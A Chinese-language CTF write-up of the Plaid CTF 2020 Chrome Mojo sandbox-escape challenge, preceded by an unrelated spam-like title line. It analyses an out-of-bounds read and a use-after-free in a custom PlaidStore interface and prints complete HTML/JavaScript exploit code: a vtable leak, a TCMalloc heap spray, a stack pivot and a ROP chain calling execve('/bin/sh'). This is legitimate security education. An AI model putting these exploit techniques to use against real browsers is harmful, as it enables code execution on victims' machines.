兩學一做 網(wǎng)站源碼app注冊推廣團隊
文章目錄
- 前置知識
- 參考文章
- 環(huán)境搭建
- 題目環(huán)境
- 調(diào)試環(huán)境
- 題目分析
- 附件分析
- 漏洞分析
- OOB
- UAF
- 漏洞利用
- 總結(jié)
前置知識
Mojo & Services 簡介
chromium mojo 快速入門
Mojo docs
Intro to Mojo & Services
- 譯文:利用Mojo IPC的UAF漏洞實現(xiàn)Chrome瀏覽器沙箱逃逸
- 原文:Cleanly Escaping the Chrome Sandbox
參考文章
本文主要參考 Plaid CTF 2020 mojo Writeup
環(huán)境搭建
題目環(huán)境
給了 docker
環(huán)境,所以直接啟 docker
即可。
安裝 docker
:
sudo snap install docker
運行 run.sh
腳本:
./run.sh
運行 chrome
:
./chrome --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest url
調(diào)試環(huán)境
這里單獨啟一個 web
服務:
python3 -m http.server 8000
調(diào)試腳本:
# gdbinit
# 讀取符號
file ./chrome
# 設(shè)置啟動參數(shù)
set args --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS url
# 設(shè)置執(zhí)行fork后繼續(xù)調(diào)試父進程
set follow-fork-mode parent
然后 gdb
調(diào)試即可:
gdb -x gdbinit
題目分析
附件分析
題目新定義了一個 PlaidStore
接口:
module blink.mojom;// This interface provides a data store
interface PlaidStore {// Stores data in the data storeStoreData(string key, array<uint8> data);// Gets data from the data storeGetData(string key, uint32 count) => (array<uint8> data);
};
該接口定義了兩個方法 StoreData
、GetData
分別用于向 data store
中存儲數(shù)據(jù)和獲取數(shù)據(jù)。
然后在瀏覽器端實現(xiàn) PlaidStore
接口:
namespace content {class RenderFrameHost;class PlaidStoreImpl : public blink::mojom::PlaidStore {public:explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);static void Create(RenderFrameHost* render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);~PlaidStoreImpl() override;// PlaidStore overrides:void StoreData(const std::string &key,const std::vector<uint8_t> &data) override;void GetData(const std::string &key,uint32_t count,GetDataCallback callback) override;private:RenderFrameHost* render_frame_host_;std::map<std::string, std::vector<uint8_t> > data_store_;
};}
可以看到這里存在兩個私有變量其中一個是 data_store_
,這個好理解,其就是用來存儲數(shù)據(jù)的;這里的 render_frame_host_
是神馬東西呢?
render
進程中的每一個 frame
都在 browser
進程中對應一個 RenderFrameHost
,很多由瀏覽器提供的 mojo
接口就是通過 RenderFrameHoset
獲取的。在 RenderFrameHost
初始化階段,會在 BinderMap
中填充所有公開的 mojo
接口:
@@ -660,6 +662,10 @@ void PopulateFrameBinders(RenderFrameHostImpl* host,map->Add<blink::mojom::SerialService>(base::BindRepeating(&RenderFrameHostImpl::BindSerialService, base::Unretained(host)));#endif // !defined(OS_ANDROID)
+
+ map->Add<blink::mojom::PlaidStore>(
+ base::BindRepeating(&RenderFrameHostImpl::CreatePlaidStore,
+ base::Unretained(host)));}
當一個 render frame
請求該接口時,在 BinderMap
中關(guān)聯(lián)的回調(diào)函數(shù) RenderFrameHostImpl::CreatePlaidStore
就會被調(diào)用,其定義如下:
void RenderFrameHostImpl::CreatePlaidStore(mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {PlaidStoreImpl::Create(this, std::move(receiver));
}
其直接調(diào)用了 PlaidStoreImpl::Create
函數(shù):
// static
void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),std::move(receiver));
}
通過該函數(shù),一個 PlaidStoreImpl
就被創(chuàng)建,并且該 PendingReceiver
與一個 SelfOwnedReceiver
綁定。
漏洞分析
該題存在兩個漏洞,分別是 OOB
與 UAF
,接下來直接分別講解。
OOB
來分析下存取數(shù)據(jù)的操作:
void PlaidStoreImpl::StoreData(const std::string &key,const std::vector<uint8_t> &data) {if (!render_frame_host_->IsRenderFrameLive()) {return;}data_store_[key] = data;
}void PlaidStoreImpl::GetData(const std::string &key,uint32_t count,GetDataCallback callback) {if (!render_frame_host_->IsRenderFrameLive()) {std::move(callback).Run({});return;}auto it = data_store_.find(key);if (it == data_store_.end()) {std::move(callback).Run({});return;}std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);std::move(callback).Run(result);
}
可以看到兩個操作都會先調(diào)用 render_frame_host_->IsRenderFrameLive
去檢查 render frame
是否處于 live
狀態(tài)。然后 StoreData
沒啥問題,主要在于 GetData
函數(shù)沒有對 count
字段做檢查,所以這里可以導致越界讀。
UAF
這里主要涉及到對象指針生命周期的問題。
在上面我們說過當一個 render frame
請求該接口時,在 BinderMap
中關(guān)聯(lián)的回調(diào)函數(shù) RenderFrameHostImpl::CreatePlaidStore
就會被調(diào)用,其最后會調(diào)用到 PlaidStoreImpl::Create
函數(shù):
void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),std::move(receiver));
}
通過該函數(shù),一個 PlaidStoreImpl
就被創(chuàng)建,并且該 PendingReceiver
與一個 SelfOwnedReceiver
綁定,也就是說這里會將消息管道的一段 receiver
與 PlaidStoreImpl
綁定,而這里傳入的 render_frame_host
是一個 PlaidStoreImpl
類型的智能指針。
由于這里的綁定,所以當 mojo
管道關(guān)閉或發(fā)生錯誤時,PlaidStoreImpl
就會被自動釋放,從而使得 PlaidStoreImpl
與 receiver
的生命周期保持一致,這其實是不存在問題的。
而在 PlaidStoreImpl
的構(gòu)造函數(shù)中,存在對 render_frame_host
的賦值操作:
PlaidStoreImpl::PlaidStoreImpl(RenderFrameHost *render_frame_host): render_frame_host_(render_frame_host) {}
可以看到在 PlaidStoreImpl
的構(gòu)造函數(shù)中,將 render_frame_host
賦給了其私有屬性 render_frame_host_
。那么問題就來了,如果 render_frame_host
對象被析構(gòu)了(比如刪除 iframe
),但是 PlaidStoreImpl
還存在(因為 render_frame_host
并沒有與 PlaidStoreImpl
綁定),那么在 StoreData/GetData
中調(diào)用 render_frame_host_->IsRenderFrameLive()
就會存在 UAF
漏洞。
漏洞利用
整體是思路就比較明確了:
- 利用
OOB
泄漏相關(guān)數(shù)據(jù) - 利用
UAF
劫持程序執(zhí)行流
前期準備
調(diào)用 MojoJS
接口時,請包含以下 JS
文件(這里請根據(jù)具體題目路徑進行包含):
<script src="mojo/public/js/mojo_bindings.js"></script>
<script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
然后進行管道端點綁定:
// 方案一
var ps = blink.mojom.PlaidStore.getRemote(true);
// 方案二
var ps = new blink.mojom.PlaidStorePtr(); // 獲取 PlaidStore 實例
var name = blink.mojom.PlaidStore.name; // 獲取 InterfaceName
var rq = mojo.makeRequest(ps);
Mojo.bindInterface(name, re.handle, "context", true);
調(diào)試分析
OOB 泄漏數(shù)據(jù)
首先是測試 OOB
,主要是看下能夠泄漏什么數(shù)據(jù):
<html><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>function hexx(str, v) {console.log("\033[32m[+] " + str + "\033[0m0x" + v.toString(16));}async function pwn() {console.log("PWN");//var ps = blink.mojom.PlaidStore.getRemote(true); // 這種方式斷點斷不下來???var ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context", true);await(ps.storeData("pwn", new Uint8Array(0x10).fill(0x41)));var leak_data = (await(ps.getData("pwn", 0x20))).data;var u8 = new Uint8Array(leak_data);var u64 = new BigInt64Array(u8.buffer);}pwn();</script>
</html>
將斷點打在 PlaidStoreImpl::Create
函數(shù)上,主要就是看下 PlaidStoreImpl
申請的空間:
可以看到這里 PlaidStoreImpl
的空間大小為 0x28
,其成員依次往下為 vtable
、render_frame_host
、data_store_
:
當 StoreData
執(zhí)行完后:
可以看到,這里 PlaidStoreImpl
、data_store_
、data_vector
位于同一個段,所以這里可以通過越界讀泄漏 PlaidStoreImpl
的 vtable
地址,并且還可以泄漏 render_frame_host_
的地址,然后通過這些地址泄漏其它地址。比如可以通過 vtable
的地址確定 ELF
加載基地址:
泄漏了 ELF
基地址后,就可以得到很多有用的 gadget
了。
UAF 劫持程序執(zhí)行流
有了 gadget
后,接下來就是考慮如何劫持 rip
,這里的想法就是劫持虛表指針從而劫持程序執(zhí)行流。
我們知道,每次調(diào)用 StoreData/GetData
時,都會先調(diào)用 render_frame_host_->IsRenderFrameLive
,其是通過虛表指針進行調(diào)用的:
可以看到這里的 rax
就是 render_frame_host_
的虛表地址,然后 [rax + 0x160]
就是 IsRenderFrameLive
函數(shù)的地址。
可以簡單驗證一下,可以看到當執(zhí)行 call QWORD PTR[rax+0x160]
時,rax
確實是 render_frame_host_
的虛表地址:
那么整個思路就比較清晰了:
- 構(gòu)造
render_frame_host_ UAF
- 堆噴獲取
UAF
堆塊并偽造render_frame_host_
虛表 - 調(diào)用
render_frame_host_->IsRenderFrameLive
控制程序執(zhí)行流
這里 rax
寄存器的值就是 render_frame_host_
的虛表地址,而其虛表地址我們是可控的(就在 render_frame_host_
對象的頭 8 字節(jié)處),而在 OOB
中我們又可以順帶泄漏 render_frame_host_
的地址(其就在 PlaidStoreImpl
虛表的下方),所以我們可以利用 xchg rax, rsp
等 gadget
劫持棧到 render_frame_host_
上,并提前在 render_frame_host_
上布置好 rop chain
即可。
這里借用上述參考文章中佬的一張圖:
在布局
gadget
前還有一個問題:我們該如何在釋放render_frame_host_
所指向的內(nèi)存之后,再將這塊內(nèi)存分配回來?這里有個小知識點,chrome
中的內(nèi)存管理使用的是TCMalloc
機制。又因為StoreData
函數(shù)分配的vector<uint8_t>
與render_frame_host_
使用的是同一個分配器,只要大量分配大小與RenderFrameHostImpl
相等的vector
,就有可能占位成功。
TCMalloc(Thread-Caching Malloc)
實現(xiàn)了高效的多線程內(nèi)存管理,用于替代系統(tǒng)的內(nèi)存分配相關(guān)的函數(shù) TCMalloc解密
所以我們現(xiàn)在得需要知道 RenderFrameHostImpl
的大小。將斷點打在其構(gòu)造函數(shù) RenderFrameHostImpl::RenderFrameHostImpl
上:
可以看到,在執(zhí)行構(gòu)造函數(shù)前執(zhí)行了 RenderFrameFactory::Create
函數(shù),所以其多半就是為 RenderFrameHostImpl
分配空間的函數(shù),重新將斷點打在 RenderFrameHostFactory::Create
上:
所以這里多半就可以確認 RenderFrameHostImpl
的大小為 0xc28
。
這里照搬上述參考文章,也是比較重要的部分:
當我們創(chuàng)建一個 child iframe
并建立一個 PlaidStoreImpl
實例后。如果我們關(guān)閉這個 child iframe
,則對應的RenderFrameHost
將會自動關(guān)閉;但與此同時,child iframe
所對應的 PlaidStoreImpl
與 browser
建立的 mojo
管道將會被斷開。而該管道一但斷開,則 PlaidStoreImpl
實例將會被析構(gòu)。
因此,我們需要在關(guān)閉 child iframe
之前,將管道的 remote
端移交給 parent iframe
,使得 child iframe
的 PlaidStoreImpl
實例在 iframe
關(guān)閉后仍然存活。
回想一下,正常情況下,當關(guān)閉一個
iframe
時,RenderFrameHost
將會被析構(gòu)、mojo
管道將會被關(guān)閉。此時Mojo
管道的關(guān)閉一定會帶動PlaidStoreImpl
的析構(gòu),這樣就可以析構(gòu)掉所有該析構(gòu)的對象。
但這里卻沒有,因為在關(guān)閉child iframe
前,已經(jīng)將該iframe
所持有的Mojo
管道Remote
端移交出去了,因此在關(guān)閉child iframe
時將不會關(guān)閉Mojo
管道。而PlaidStoreImpl
的生命周期并沒有與RenderFrameHost
相關(guān)聯(lián)。即RenderFrameHost
的析構(gòu)完全不影響PlaidStoreImpl
實例的生命周期。所以,PlaidStoreImpl
實例將不會被析構(gòu)。
那么,問題是,該如何移交 Mojo
管道的 remote
端呢?答案是:使用 MojoInterfaceInterceptor
。該功能可以攔截來自同一進程中其他 iframe
的 Mojo.bindInterface
調(diào)用。在 child iframe
被銷毀前,我們可以利用該功能將mojo
管道的一端傳遞給 parent iframe
。
以下是來自其他 exp 的相關(guān)代碼,我們可以通過該代碼片段來了解 MojoInterfaceInterceptor
的具體使用方式:
var kPwnInterfaceName = "pwn";// runs in the child frame
function sendPtr() {var pipe = Mojo.createMessagePipe();// bind the InstalledAppProvider with the child rfhMojo.bindInterface(blink.mojom.InstalledAppProvider.name,pipe.handle1, "context", true);// pass the endpoint handle to the parent frameMojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}// runs in the parent frame
function getFreedPtr() {return new Promise(function (resolve, reject) {var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash// intercept bindInterface calls for this process to accept the handle from the childlet interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");interceptor.oninterfacerequest = function(e) {interceptor.stop();// bind and return the remotevar provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);freeRFH(frame);resolve(provider_ptr);}interceptor.start();});
}
現(xiàn)在,我們已經(jīng)解決了所有潛在的問題,UAF 的利用方式應該是這樣的:
- 將
child iframe
中Mojo
管道的remote
端移交至parent iframe
,使得Mojo
管道仍然保持連接 - 釋放
child iframe
- 多次分配內(nèi)存,使得分配到原先被釋放
RenderFrameHostImpl
的內(nèi)存區(qū)域 - 寫入目標數(shù)據(jù)
- 執(zhí)行
child iframe
對應的PlaidStoreImpl::GetData
函數(shù)
不過需要注意的是,在該題中并不需要將
child iframe
的Mojo
管道一端傳遞給parent iframe
的操作。因為通過調(diào)試可知,child iframe
在remove
后,其所對應的PlaidStoreImpl
實例仍然存在,并沒有隨著Mojo pipe
的關(guān)閉而被析構(gòu)
尚未明確具體原因,但這種情況卻簡化了漏洞利用的方式
最后簡化后的利用方式如下:
- 釋放
child iframe
- 多次分配內(nèi)存,使得分配到原先被釋放
RenderFrameHostImpl
的內(nèi)存區(qū)域 - 寫入目標數(shù)據(jù)
- 執(zhí)行
child iframe
對應的PlaidStoreImpl::GetData
函數(shù)
簡單測試一下:
<html>
<head><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>async function pwn() {var frame = document.createElement("iframe");frame.srcdoc = `<script src="mojo/public/js/mojo_bindings.js"><\/script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script><script>var ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context",true);ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));window.ps = ps;<\/script>`;document.body.appendChild(frame);frame.contentWindow.addEventListener("DOMContentLoaded", async () => {var ps = frame.contentWindow.ps;if(ps == undefined || ps == 0) {throw "FAILED to load iframe";}var raw_buf = new ArrayBuffer(0xc28);var fu8 = new Uint8Array(raw_buf).fill(0);var fu64 = new BigUint64Array(raw_buf);fu64[0] = 0xdeadbeefn;var pps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,"context",true);document.body.removeChild(frame);frame.remove();for (let i = 0; i < 100; i++) {await pps.storeData("pwn" + i, fu8);}await ps.getData("pwn", 0);});}</script>
</head>
<body onload = pwn()></body></html>
效果如下:
程序在 GetData
中 Crash
,此時的 rax = 0xdeadbeef
,符合預期。
最后的 exp
如下:
<html>
<head><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>function hexx(str, v) {var elem = document.getElementById("#parentLog");if(elem == undefined) {elem = document.createElement("div");document.body.appendChild(elem);}elem.innerText += '[+] ' + str + ': 0x' + v.toString(16) + '\n';}async function pwn() {//var ps = blink.mojom.PlaidStore.getRemote(true);var frame = document.createElement("iframe");frame.srcdoc = `<script src="mojo/public/js/mojo_bindings.js"><\/script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script><script>async function pwn() {var ps_list = [];for (let i = 0; i < 0x200; i++) {let ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context", true);await ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));ps_list.push(ps);}var elf_to_vtable = 0x9fb67a0n;var vtable_addr = -1;var render_frame_host_addr = -1;for (let k = 0; k < 0x200; k++) {let ps = ps_list[k];let leak_data = (await ps.getData("pwn", 0x200)).data;let u8 = new Uint8Array(leak_data);let u64 = new BigInt64Array(u8.buffer);for (let i = 0x20 / 8; i < u64.length - 1; i++) {if ((u64[i] & 0xfffn) == 0x7a0n && (u64[i] & 0xf00000000000n) == 0x500000000000n) {vtable_addr = u64[i];render_frame_host_addr = u64[i+1];break;}if (vtable_addr != -1) {break;}}}if (vtable_addr == -1) {hexx("FAILED to OOB vtable addr", -1);throw "[X] FAILED to OOB vtable addr";}var elf_base = vtable_addr - elf_to_vtable;window.ps = ps_list[0];window.elf_base = elf_base;window.render_frame_host_addr = render_frame_host_addr;}<\/script>`;document.body.appendChild(frame);frame.contentWindow.addEventListener("DOMContentLoaded", async () => {await frame.contentWindow.pwn();var ps = frame.contentWindow.ps;var elf_base = frame.contentWindow.elf_base;var render_frame_host_addr = frame.contentWindow.render_frame_host_addr;if (ps == undefined || ps == 0) {throw "FAILED to load iframe";}var pop_rdi = elf_base + 0x0000000002e4630fn;var pop_rsi = elf_base + 0x0000000002d278d2n;var pop_rdx = elf_base + 0x0000000002e9998en;var pop_rax = elf_base + 0x0000000002e651ddn;var syscall = elf_base + 0x0000000002ef528dn;var xchg_rax_rsp = elf_base + 0x000000000880dee8n; // xchg rax, rsp ; clc ; pop rbp ; rethexx("elf_base", elf_base);hexx("render_frame_host_addr", render_frame_host_addr);hexx("pop_rdi", pop_rdi);hexx("pop_rsi", pop_rsi);hexx("pop_rdx", pop_rdx);hexx("pop_rax", pop_rax);hexx("syscall", syscall);hexx("xchg_rax_rsp", xchg_rax_rsp);const RenderFrameHostSize = 0xc28;var raw_buf = new ArrayBuffer(RenderFrameHostSize);var fu8 = new Uint8Array(raw_buf).fill(0);var fdv = new DataView(raw_buf);var rop = new BigUint64Array(raw_buf, 0x10);fdv.setBigInt64(0, render_frame_host_addr+0x10n, true);fdv.setBigInt64(0x10+0x160, xchg_rax_rsp, true);fdv.setBigInt64(0x10+0x160+0x8, 0x68732f6e69622fn, true);rop[0] = 0xdeadbeefn; // rbprop[1] = pop_rdi;rop[2] = render_frame_host_addr+0x178n;rop[3] = pop_rsi;rop[4] = 0n;rop[5] = pop_rdx;rop[6] = 0n;rop[7] = pop_rax;rop[8] = 59n;rop[9] = syscall;var pps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,"context", true);document.body.removeChild(frame);frame.remove();for (let i = 0; i < 100; i++) {await pps.storeData("pwn"+i, fu8);}await ps.getData("pwn", 0x20);});}</script>
</head>
<body onload = pwn()></body>
</html>
效果如下:
總結(jié)
這個題目算是比較簡單的沙箱逃逸了,但是還是搞了兩天。主要的問題就是調(diào)試,比較奇怪的是如果 exp
中出現(xiàn)了一些錯誤,程序不會報錯。比如我的 exp
最開始在賦值 BigInt
類型的數(shù)字時,忘記給 0
后面加上 n
,然后 exp
就一直打不通,但是程序也不報錯,所以這里發(fā)現(xiàn)這個 0n
問題,我就搞了一天…